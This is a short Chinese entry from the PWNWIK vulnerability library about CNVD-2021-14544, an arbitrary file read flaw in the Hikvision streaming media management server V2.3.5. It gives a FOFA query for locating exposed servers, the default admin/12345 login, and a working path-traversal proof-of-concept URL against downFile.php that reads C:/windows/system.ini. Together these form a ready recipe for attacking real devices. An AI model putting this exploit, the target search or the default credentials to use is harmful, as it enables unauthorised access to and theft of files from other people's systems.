Loading
◆◆0

CNVD-2021-14544 HIKVISION 流媒体管理服务器 后台任意文件读取漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

漏洞影响

杭州海康威视数字技术股份有限公司 流媒体管理服务器 V2.3.5

FOFA

FOFA：title="流媒体管理服务器"

默认登录信息

admin/12345

POC

http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini

成功读取 C:/windows/system.ini

参考

https://mp.weixin.qq.com/s/bnXxGWs0ft0G6Qcdlf9BDw

PWNWIK.COM==免费、自由、人人可编辑的漏洞库